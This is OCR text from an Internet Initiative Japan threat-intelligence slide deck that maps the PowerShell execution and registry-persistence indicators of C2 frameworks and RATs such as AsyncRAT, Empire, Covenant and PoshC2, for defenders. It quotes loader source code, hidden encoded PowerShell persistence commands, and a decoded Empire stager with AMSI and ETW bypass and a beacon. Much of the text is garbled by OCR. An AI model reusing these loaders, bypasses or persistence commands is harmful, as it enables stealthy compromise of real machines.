Creator Process Mame: ChUsers\bent Desktoph c2'sliver\sliver.exe\sliver.exe

Process Command Line:  Ch\Windows'\System32\WindowsPowerShellw1.0\powershell. exe -MNoExit
-Command [Console]: OutputEncoding=[Text. UTFEEncoding]:UTF2

Parent :
< >
I any Sliver process
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"
Command \ _ _
Line -NoEXxit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]

UTF8"
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Command and script execution with powershell.exe &
indicator matrix

e e

AsyncRAT

powershell -ExecutionPolicy Bypass -WindowStyle

DcRat Hidden -NoExit -FilePath "% TEMP%¥[a-z] {6}.ps1"™

Havoc -C <any command line>

Copyright Internet Initiative Japan Inc.
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AsyncRAT and DcRat execute a PowerShell script received & =725,
from a C&C Server

T T

ASIERAT powershell -ExecutionPolicy Bypass -WindowStyle

DcRat Hidden -NoExit -FilePath "% TEMP%¥[a-z] {6}.ps1™

Havoc -C <any command line>
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SendFile function

X1793D

Copyright Internet Initiative Japan Inc.

AsyncRAT

e AsyncRAT. DcRat(&"SendFile"#gE CCRCH—/) 5T 71 )L 7%Z1x
EU. EI79DTENTED
e “To Disk"ZERUTZSE. ImkIC T 71 I)LZEZ:1AHPowerShell T

Y AsyncRAT 058 18:17:20

Clierts Logs Thumbnai Tasks

IP Address Country Group  HWID Usemame Cperating System

= (] X

Payloac

L ¢ |127.0.0.1:8808 LocalHost Defaut E552A002E25AB2B35097 ber

[Motification] Online 1 Selected 1 Sent 702B  Recei

Ce-lugtion 64bit  0.5.8

35%

REEHLVERIC

D wizSafe

62



SendFile function source code AsyncRAT D wizSafe

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +
unpack msgpack.ForcePathObject("Extension").AsString);

<...snip...>

If (unpack _msgpack.ForcePathObject(“Extension”). AsString. ToLower().EndsWith(".ps1"))
{
Process.Start(new ProcessStartinfo

{

FileName ="cmd",

Arguments = $"/c start /b powershell —ExecutionPolicy Bypass -WindowStyle Hidden
-NoExit -FilePath {"" + "¥"™ + fullPath + "¥™ + "} & exit",
CreateNoWindow = true,



https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31

REEHLVERIC

SendFile function source code AsyncRAT D wizSafe
string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +

unpack msgpack.ForcePathObject("Extension").AsString);

F—=Tv MaRICBITDINATEIEUIZT 7 1 )L Z1ERX
% Temp%¥[a-z]{6}.<Extension>
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https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31

RE|EHRVERIC

SendFile function source code D wizSafe

If (unpack _msgpack.ForcePathObject(“Extension”). AsString. ToLower().EndsWith(".ps1"))
{

Process.Start(new ProcessStartinfo
{
FileName = "cmd",
Arguments = $"/c start /b powershell —ExecutionPolicy Bypass -WindowStyle Hidden
-NoExit -FilePath {"" + "¥"™ + fullPath + "¥™ + "} & exit",
CreateNoWindow = true,

a¥cnd.exe/c start /b powershell -ExecutionPolicy Bypass -
WindowStyle Hidden -NoEXit -FilePath <script path> & exit



https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31

Indicators AsyncRAT D wizSafe

{4] Event Properties - Event 4688, Microsoft Windows security auditing. x

General Details

Process Information:

Mew Process ID: O 238c

Mew Process Mame: CAWindows\SysWOWeP WindowsPowerShellvwl .0hpowershell.exe
Token Elevation Type: TokenElevationTypeLlimited (3)

Mandatory Label: Mandatory Label\Medium Mandatory Level

Creator Process ID: (1214

Creator Process Name: ChWindows\SysWOWed\crnd.exe
Process Command Line:  powershell —ExecutionPolicy Bypass -WindowStyle Hidden -MNoExit -
FilePath " Ch\Users\ben' AppDatatLocal\ Templovyple.ps1™

Parent
Process

Command  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath
Line "W TEMP%¥[a-z] {6}.ps1™

cmd.exe

Copyright Internet Initiative Japan Inc.
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Havoc command line does not contain powershell.exe S L e
path

e e

AsyncRAT

powershell -ExecutionPolicy Bypass -WindowStyle

DcRat Hidden -NoExit -FilePath "% TEMP%¥[a-z] {6}.ps1™

Havoc -C <any command line>

Copyright Internet Initiative Japan Inc.
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powershell.exe execution source code Havoc

else if ( InputCommands[ 0 ].compare( "powershell" ) ==0){
if ( InputCommands.length() > 1) {

auto Program =
QString("C:¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe");

I/ NOTE: the 'powershell command does not need to escape quotes
auto Args = QString( "-C " + JoinAtindex( commandiine.split( " "),

1) ).toUtf8().toBase64();
“Args” ([CIBIEDHDMENETNSDS.
TaskiD = CONSOLE_INFO( "Taskelibaglyp IR Ll bty A=Y | kb A D i1 -

command/script" );
CommandIinputList] TaskiD | = commandline;

SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program +";" + Args ) )



https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L1815-L1826

Indicators Pl S wizSafe

{2| Event Properties - Event 4688, Microsoft Windows security auditing. >
General Details
Process Information:
lﬂm Process [k Ohelcdl
Mew Process Mame: CAWindows\System 32V WindowsPowerShell'vwl.hpowershell.exe I
Token Elevation Type: TokenElevationTypelimited (3]
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process |t 2388
Creator Process Mame: C:hUsersiben\Desktophc2\havochhavoc_payloadihavoc.exe
| Process Command Line:  -C whoami | |
Process AR :
Name C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe
Command

: -C <any command line>
Line

Copyright Internet Initiative Japan Inc.
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REEHLVE

Launcher execution with powershell.exe D wizSafe

oo

(default) powershell.exe -noP -sta -w 1 -enc
<base6b4encoded script>

Empire

Covenant

sv 0 (New-Object I0.MemoryStream);sv d (New-Object
|1O.Compression.DeflateStream([I0.MemoryStream][Conv
ert]::FromBase64String(‘<base64 encode
file>),[10.Compression.CompressionMode]::Decompress)
);sv b (New-Object Byte[](1024));sv r (gv
d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt
0){(gv 0).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv
d).Value.Read((gv
b).Value,0,1024);}[Reflection.Assembly]::Load((gv
0).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";
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Launcher execution option is a bit different compared to
cmd.exe execution D wizSafe

Framework Command Line

(default) powershell.exe -noP -sta-w 1 -enc

Empire <base64encoded script>

Launcher execution with cmd.exe:
powershell.exe -nop -ep bypass -w 1
-enc <base64encoded script>

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Launcher module targeting user execution =il D wizSafe

e EmpireldLauncher(CEBE DT 7 1ILFATZFIFHTED
e Stager(dListenerCiREUEEITAT S 3> THEITEIND

e Listenerdd~Z’0O L)L http, http_comZI8TE LU TL\DIHE.
launcher_batDHFEITAT I > HEEEIND

launcher_vbs
launcher_hta
launcher_sct
launcher_xml
launcher_Ink

launcher_bat

Copyright Internet Initiative Japan Inc.

wscript.exe
mshta.exe
regsvc32.exe
MSBuild.exe
explorer.exe

cmd.exe
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Default stager execution option example Empire

"Launcher": {
"Description”: "Launcher string.",
"Required": True,
"Value": |'powershell -noP -sta-w 1 -enc ",

Default launcher execution option

https ://github.com/BC-SECURITY/Em pire/blob/main/empire/server/stagers/windows/launcher_bat.py#1 120-1128

2

Copyright Internet Initiative Japan Inc.

REEHLVERIC

D wizSafe
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https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

REEHLVERIC

Indicators Sl D wizSafe

{4] Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

Process Information:
Mew Process Dt Ox2ald
Mew Process Mame: CAWind owst SysWOWES\ WindowsPowerShellvw1.0hpowershell.exe
Token Elevation Type: TokenElevationTypeLimited (3)
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process (D Oxfbc

Creator Process Mame: ChWind owesh Sy eWOWR mchta . exe
Process Command Line:  "CA\Windows\System32\WindowsPowerShellw1.0\powershell.exe” -noP -sta -w 1 -enc
SOBmACgAJABCAFMAYgBIAHIAcwBpAGEABgBUAGEAY gBsAGUALgBOAFMAYgBIAHIAcwBpAGEAbgAUAEDAYOBqAGEAcgAgACDAT

Command
Line

(default) powershell.exe -noP -sta -w 1 -enc <base64encoded script>

Copyright Internet Initiative Japan Inc.
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REEHLVE

Covenant launcher execution command line is very long D wizSafe

T T

(default) powershell.exe -noP -sta -w 1 -enc
<base6b4encoded script>

Empire

sv 0 (New-Object I0.MemoryStream);sv d (New-Object
|IO.Compression.DeflateStream([IO.MemoryStream][Conv
ert]::FromBase64String(‘'<base64 encode
file’>),[10.Compression.CompressionMode]::Decompress)
);sv b (New-Object Byte[](1024));sv r (gv

Covenant d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt
0){(gv 0).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv
d).Value.Read((gv
b).Value,0,1024);}[Reflection.Assembly]::Load((gv
0).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null*;

Copyright Internet Initiative Japan Inc.
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PowerShell launcher source code

private static readonly string PowerShellLauncherCodeTemplate = @"
sv 0 (New-Object |IO.MemoryStream);
sv d (New-Object |O.Compression.DeflateStream(
[10.MemoryStream][Convert]:.:FromBase64String(
{{GRUNT_IL_BYTE_STRING}}),
[10.Compression.CompressionMode]::Decompress)
)i
sv b (New-Object Byte[](1024));
svr (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){
(gv 0).Value.Write((gv b).Value,0,(gv r).Value);
svr (gv d).Value.Read((gv b).Value,0,1024);

}
[Reflection.Assembly]::Load((gv 0).Value.ToArray()).EntryPoint

Copyright Internet Initiative Japan Inc.

Covenant

RE|EHRVERIC

D wizSafe



https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71

PowerShell launcher source code Covenant

private static readonly string PowerShellLauncherCodeTemplate = @"
sv 0 (New-Object IO.MemoryStream);
sv d (New-Object 10.Compression.DeflateStream(

[10.MemoryStream][Convert]:.:FromBase64String(
{{GRUNT_IL_BYTE_STRING}}),
[10.Compression.CompressionMode]::Decompress)

RE|EHRVERIC

2D wizSafe

https://github.com/cobbr,

Copyright Internet Initiative Japan Inc.

Covenant®Agent(dDeflate[Efis=N.

= 5l(cBase64EncodecNTL\3

venant/blob/m r/Covenant/M Is/Launchers/PowerShelllauncher.cs#l 71
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https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71

REEHLVERIC

Indicators OVl D wizSafe

@ Event Properties - Event 4104, PowerShell (Microsoft-Windows-Powershell) >

General Details

Creating Scriptblock text (1 of 1):

gv o (Mew-Object 10.MemoryStream);sv d (New-Object 10.Caompression.DeflateStream([10.MemornyStream] |
[Convert]::FromBasebdString (' 7V p3cFTXdT/37e7b10KL3g6
+ AEksHAKYAFmffBlowCggkj GRAEICCAEvdhTRmtWIShx eQGWyRuldaxz+ wibc InVsZx pTagd 13RI O6Ex E35vHY nYwHO a1

sv 0 (New-Object 10.MemoryStream);sv d (New-Obiject
|O.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String
(‘<base64 encode file’>),[10.Compression.CompressionMode]::Decompress));sv

Script b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv

Block b).Value,0,1024);while((gv r).Value -gt 0){(gv 0).Value.Write((gv b).Value,0,(gv
r).Value);sv r (gv d).Value.Read((gv
b).Value,0,1024);}[Reflection.Assembly]::Load((gv
0).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";
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Threat Intelligence
~ Persistence ~

ﬁﬁﬁﬁﬁﬁﬁﬁﬁ
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Persistence matrix 1

REEHLVERIC

D wizSafe

echmiue | Count_|Framevorks

Registry Run Key/Startup
Folder

Scheduled Task/Job

Copyright Internet Initiative Japan Inc.

9/10

7/10

AsyncRAT
Covenant
DcRat
Empire
Koadic
Merlin
PoshC2
Quasar
Sliver

AsyncRAT
DcRat
Empire
Koadic
PoshC2
Quasar
Sliver
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Persistence matrix 2

REEHLVERIC

D wizSafe

Technique | Count_| Frameworks

WMI Event Subscription

Windows Service

Component Object Model
Hijacking

Image File Execution Options
Injection

Copyright Internet Initiative Japan Inc.

4/10

4/10

1/10

1/10

Covenant
Empire
Koadic
PoshC2

Covenant
Havoc
PoshC2

Sliver

Covenant

Empire

81



REEHLVERIC

Focus on Run Registry Key/Startup Folder D wizSafe

Technique Count Frameworks

« AsyncRAT

« Covenant

« DcRat

« Empire
Koadic
Merlin

Registry Run Key/Startup .
« PoshC2

Folder 9/10

Quasar
Sliver

« AsyncRAT
« DcRat
« Empire
Koadic
PoshC2
Quasar
Sliver

Scheduled Task/Job 7/10

Copyright Internet Initiative Japan Inc.



ﬁﬁﬁﬁﬁﬁﬁﬁﬁ

Registry Run key features D wizSafe

e INTDHOIL—ALAT—THHKCUDRUN key\EixT DHEEZB I D
— HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
- JL—AD—2H Windows APIZ1&E L CRun key/\N&E#xd D
o (12T —4
— Registry key
- Registry value name
— Registry value type
— Registry value data

Copyright Internet Initiative Japan Inc.

83



REEHLVERIC

Registry Run Keys indicator matrix D wizSafe

AsyncRAT HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

DcRat HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Covenant HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Empire . HKCU¥SOFTWARE¥M?crosoft¥W!ndows¥CurrentVers?on¥ Run

« HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Koadic HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Merlin HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
PoshC2 HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

« HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Quasar « HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

84
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Empire and Quasar use multiple Run Registry keys

REEHLVERIC

D wizSafe

AsyncRAT HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
DcRat HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Covenant HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Empire . HKCU¥SOFTWARE¥M?crosoft¥W!ndows¥CurrentVers?on¥Run

« HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Koadic HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Merlin HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
PoshC2 HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

« HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Quasar « HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥RunOnce

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Registry value hame and registry type indicator matrix D wizSafe

Fmevork_Jteme _______we

AsyncRAT
DcRat
Covenant
Empire
Koadic
Merlin
PoshC2

Quasar

Copyright Internet Initiative Japan Inc.

<Persistent file name>

<Persistent file name>

(default) Updater
(default) Updater
KOadic

Update
IEUpdater

<any name>

REG_SZ
REG_SZ
REG_EXPAND_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
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AsyncRAT and DcRat registry value name are persistent
file name

D wizSafe

e N

AsyncRAT
DcRat
Covenant
Empire
Koadic
Merlin
PoshC2

Quasar

Copyright Internet Initiative Japan Inc.

<Persistent file name>

<Persistent file name>

(default) Updater
(default) Updater
KOadic

Update
IEUpdater

<any name>

REG_SZ
REG_SZ
REG_EXPAND_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
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Four frameworks use updater-like names for registry
value names

D wizSafe

Fmevork_Jteme _______we

AsyncRAT
DcRat
Covenant
Empire
Koadic
Merlin
PoshC2

Quasar

Copyright Internet Initiative Japan Inc.

<Persistent file name>

<Persistent file name>

(default) Updater

(default) Updater

KOadic

Update
IEUpdater

<any name>

REG_SZ
REG_SZ
REG_EXPAND_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
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Covenant’s registry value type is "REG_EXPAND_SZ"

Fmevork_Jteme _______we

REEHLVERIC

D wizSafe

AsyncRAT
DcRat
Covenant
Empire
Koadic
Merlin
PoshC2

Quasar

Copyright Internet Initiative Japan Inc.

<Persistent file name>
<Persistent file name>
(default) Updater
(default) Updater
KOadic

Update

IEUpdater

<any name>

REG_SZ

REG_SZ

REG_EXPAND_SZ

REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
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REEHLVERIC

Indicators SVl D wizSafe
B Registry Editor = o *
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
> Group Pt Mame Type Data
> Group Pt || 28] (Default) REG_SZ (value not set)
> Holograj || 2k MicrosoftEdgeAutola.. REG_SZ "C\Program Files (x86)\Microsoft\Edge\Application\msedge.exe”
} ime 2 OneDrive REG_SZ "ChUsers\bem\AppData\Local\Microsoft\OneDrive\OneDrive.exe”
» = Immersi -‘"}Updater REG_EXPAND_SZ C\Example\GruntStager.exe
> InstallSe

« HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Key « HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Name (default) Updater

Type REG_EXPAND_SZ

Data <any file path>

Copyright Internet Initiative Japan Inc.
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Koadic registry value name is "KOadic"!

Fmevork_Jteme _______we

REEHLVERIC

D wizSafe

AsyncRAT
DcRat
Covenant
Empire
Koadic
Merlin
PoshC2

Quasar

<Persistent file name >
<Persistent file name >
(default) Updater

(default) Updater

KOadic

Update
IEUpdater

<any name>

REG_SZ
REG_SZ
REG_EXPAND_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
REG_SZ
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REEHLVERIC

Registry value data indicator matrix D wizSafe

m Registry Value Data

AsyncRAT

DcRat

Covenant

Empire

Koadic

Merlin

PoshC2

Quasar

«  %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe

« %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe

<any path>

« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKCU: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"

« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"

C:¥Windows¥System32¥mshta.exe % AppData%¥<random filename>.hta
wscript %cAppData%: <random file name>.vbs

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -
Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777

<any path>
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REEHLVERIC

Persistence path is %AppData% or %Temp% D wizSafe

W Registry Value Data

%AppData%#¥<any filename>.exe

AEYIERAT %Temp%¥<any filename>.exe
DcRat « %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe
Covenant <any path>
« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKCU: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Sl Hidden -enc $x"
P « C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"
Koadic C:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta
Merlin wscript %cAppData%: <random file name>.vbs
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -
PoshC2 Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry::HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777
Quasar <any path>
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W RR2EHLEVFERIC

Setting persistence of AsyncRAT, DcRat S wizsafe

e AsyncRAT. DcRat(ZEJL REF(CKGALEETE
- %AppData%, % Temp%
o KEALICITIFEDT LU MU UNEE TSR0

N Builder -
Connection Install  Mise  Assembly lcon Build B onN
instal File name
ON
File path | %AppData® e
Filename | | =
Folder “tppData’ | Build
DcRat Builder

AsyncRAT Builder
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Indicators AsyncRAT D wizSafe

B Registry Editor = ] ¥
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Dsh Name  — Type Data
Explorer ab}(Default) ; REG_SZ (value not set)
Ext "_"]asyncrat REG_57 "CA\Users\ben\AppData\Local\Temph\asyncrat.exe”
Feeds ab| MicrosoftEd.. REG_SZ "CA\Program Files (x86)\Microsoft\Edge\Application\msedge.exe” --no-startup...
FileAssociations a5 OneDrive REG_SZ "C:\Users\ben\AppData\Local\Microsoft\OneDrive\OneDrive.exe” /background
FileHistory
Key HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
Name <any filename>

Data - %AppData%¥<any filename>.exe
- %Temp%¥<any filename>.exe

Copyright Internet Initiative Japan Inc.
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REEHLVERIC

Empire and PoshC2 read a registry value and execute it D wizSafe

m Registry Value Data

«  %AppData%¥<any filename>.exe

AEYIERAT %Temp%¥<any filename>.exe
DcRat « %AppData%¥<any filename>.exe
%Temp%¥<any filename>.exe
Covenant <any path>
« C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKCU: ¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Sfie Hidden -enc $x"
P « C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug); powershell -Win
Hidden -enc $x"
Koadic C:¥Windows¥System32¥mshta.exe %AppData%¥<random filename>.hta
Merlin wscript %cAppData%: <random file name>.vbs
C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe -exec bypass -
PoshC2 Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path
Registry: :HKCU¥Software¥Microsoft¥Windows¥currentversion¥themes¥).Wallpaper777
Quasar <any path>
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REEHLVERIC

Empire and PoshC2 persistence technique Tl D wizSafe

e Empire, PoshC2(EL =X MU (TKBUEDI=HD T —F = RF
— Empire(dBase64 encode U/zagent
— PoshC2(&PowerShell’ZzZEi79d 23N> RS0 >

o XiibEN/zLauncherNL X KU Z5AHENDEITIT D

HKCU¥SOFTWARE¥Microsoft¥Windows¥

Empire CurrentVersiony (default) Debug
: : Wallpaper555
PoshC2 HKCU¥SOFTWARE¥Microsoft¥Windows¥ Wallpaper666

CurrentVersion¥Themes . Wallpaper777

Copyright Internet Initiative Japan Inc.
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RE|EHRVERIC

Indicators Sl D wizSafe
B Registry Editar = ] x
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\ersion

V ~ CurrentVersion Name Type Data

AAD ab| (Default) REG_SZ (value not set)

. 2 = AccountsService [25)Debug REG S7 SQBmMACgAJABQAFMAVGBIAHIAcWBPAGSAbgBUAGEA

- » 7 ActivityDataModel

« HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion
« HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion

Name (default) Debug

Data <base64 encoded script>

Key

Copyright Internet Initiative Japan Inc.
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Decoding base64-encoded script with CyberChef

Empire ()

Operations

|Sea rch...

Favourites

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Metworking
Language

Utils

Date / Time
Extractors
Compression
Hashing

Code tidy
Forensics

Multimedia

Recipe Sl |

From Base64 e n
Alphabet .
A-Za-z@-9+/=

Remove non-alphabet chars

|:| Strict mode

Decode text OV |
Encoding
UTF-16LE (1200}

Syntax highlighter o n
Language
powershell

STEP @ Auto Bake

+ 0Oz 0 =

SOBMACZATABQAFMAVEE LAHT AcwBpAGEAbEBUAGE AYEE s AGUAL gBOAFMAV EB LAHT AcwB pAGS
AbgAUAERAYQEQAGBACZAZACRATWE IACAAMWAPAHSATABSAGUAT g AOAF = AUSB 1 AGY AXQAUAE
EACWBZAGUABOELAGHA=QALAEC AZQBOAFOALQBWAGUAKAANAFMASOBE ZAHQAZ OB LACAATOERA
G4AYDBNAGUADOELAGAAdAAUAE EACDOBAAGEABOBhAHQAROBVAGSAL EBBAGAACWBPAFUADAED
AGuACWANACKACwAKAFTAZQEMACAARWE LAHOAREE pAGUALABKAC gATWBhAGBACWEpAEKABSE
pPAHDARZBhAGKABABIAGQATWAS ACCATZBVAGLALABIAGT ARABPAGMALABT AHOAYQBRAGKAY W

Input

Tr Raw Bytes 4= LF

A0 mE ::

mc 37eE =L

Output

If{¢PsversionTable.PSVersion.Major -ge 3){fRef=
[Ref].Assembly.GetType( ' System.Management. Automation. Amsiltils" ) ;$Ref.G
etField("amsiInitFailed’, "MonPublic,Static’).Setvalue($Null,$true);
[system.Diagnostics.Eventing. EventProvider].GetField( 'm_ensbled', 'NonPu
blic,Instance').SetValue([Ref].Assembly.GetType( System.Management.futo
mation.Tracing.PSEtwlogProvider') . GetField( 'etwProvider”, "NonPublic,Sta
tic').GetValue($null),@);};
rSvstem.Het.Servic&PointNEEEEFP]::Expectl@ﬁContinue:G;$wc=He1—0bfect

System.MNet.WebClient;3u="Mozilla/5.8 (Windows NT 6.1; WOWE4;
Trident/7.8; rv:11.8) like

Gecko' ;$ser=%([Text.Encoding]: :Unicode.GetString([Convert]::FromBaseg4s
tring( ' aAB@AHOACAASACEALWwAKADCAMZAUAD TAMwWALADT AMOAUAD EAMWAXADCADAAWADZA
MAA="11});%t="/login/process.php’ ; $wec .Headers. Add( 'User-
Agent’,%u) ;Swe. Proxy=

[System.Met . WebRequest] : :DefaulthlebProxy ; $wc.Proxy.Credentials =
[System.Met.CredentialCache]: :DefaultNetworkCredentials; $5cript: Proxy

= $wc.Proxy;$K=[5ystem.Text.Encoding]: :ASCII.GetBytes( s~y<|,Vépe*Ll-
For1esG}/zvInCi_»f' ) ;2R={%D, EK=CArgs ;$5=0..255;0. . 255 | £{$]=
($I+$5[5_]+5K[5_%$K.Count])%256;$5[$_1,$5[$I]=85[$1].$5[$_1};$D|%{31=
($I+1)%256; $H=($H+35[$1])%256;$5[$1],$5[FH]=$5[$H],$5[$1]5%_-
bxor$S[($S[SI]455[$H])%256] 1} $we . Headers . Add ("Cookie™, "NoCEJKexOCxHvEx

=1 (D 17ms  Tr Raw Bytes 5 L

Copyright Internet Initiative Japan Inc.
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wizSafe
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Execution script with Registry Run key

script += (
<...snip...>
HKCU:Software¥¥Microsoft¥¥Windows¥¥CurrentVersion¥¥Run¥¥ -Name "
+ key _name +'-Value
¥"C¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe" -c
"=
+ location_string + ";powershell -Win Hidden -enc $x¥

C ¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c
‘$x=((gp HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion
;powershell -Win Hidden -enc $x"

Copyright Internet Initiative Japan Inc.


https://github.com/BC-SECURITY/Empire/blob/main/empire/server/modules/powershell/persistence/userland/registry.py#L192-L198

REEHLVERIC

Indicators Sl D wizSafe

i Registry Editor = o] Pt
File Edit View Favorites Help

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Mame Type Data

ab| (Default) REG_SZ (value not set)

3t MicrosoftEdgeAutola.. REG_SZ "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe” --no-startup-window ...
38 OneDrive REG_S7Z "Ch\Users\ben\AppData\Local\MicrosoftyOneDrive\OneDrive.exe" /background
"'%Updater REG_S7 "CA\Windows\System32\WindowsPowerShell\w1.0\powershell.exe” -c "$x=%({gp HKCU...

« HKCU¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
« HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

Key

Name (default) Updater

+  C:¥Windows¥System32¥WindowsPowerShell¥vl.0¥powershell.exe" -c "x=$((gp
HKCU:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden -
Data enc $x' .
*  C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe" -c "x=$((gp
HKLM:¥Software¥Microsoft¥Windows¥CurrentVersion debug).debug);powershell -Win Hidden -
enc $x"

Copyright Internet Initiative Japan Inc.
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Indicators

PoshC2

File Edit View

Favorites Help

StartLayol A
StartupNc
StorageSe
Store
TaskFlow
TaskMana
Telephomy
ThemeM:
Themes
UFH
Uninstall
UserProfil

Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes

Name Type Data
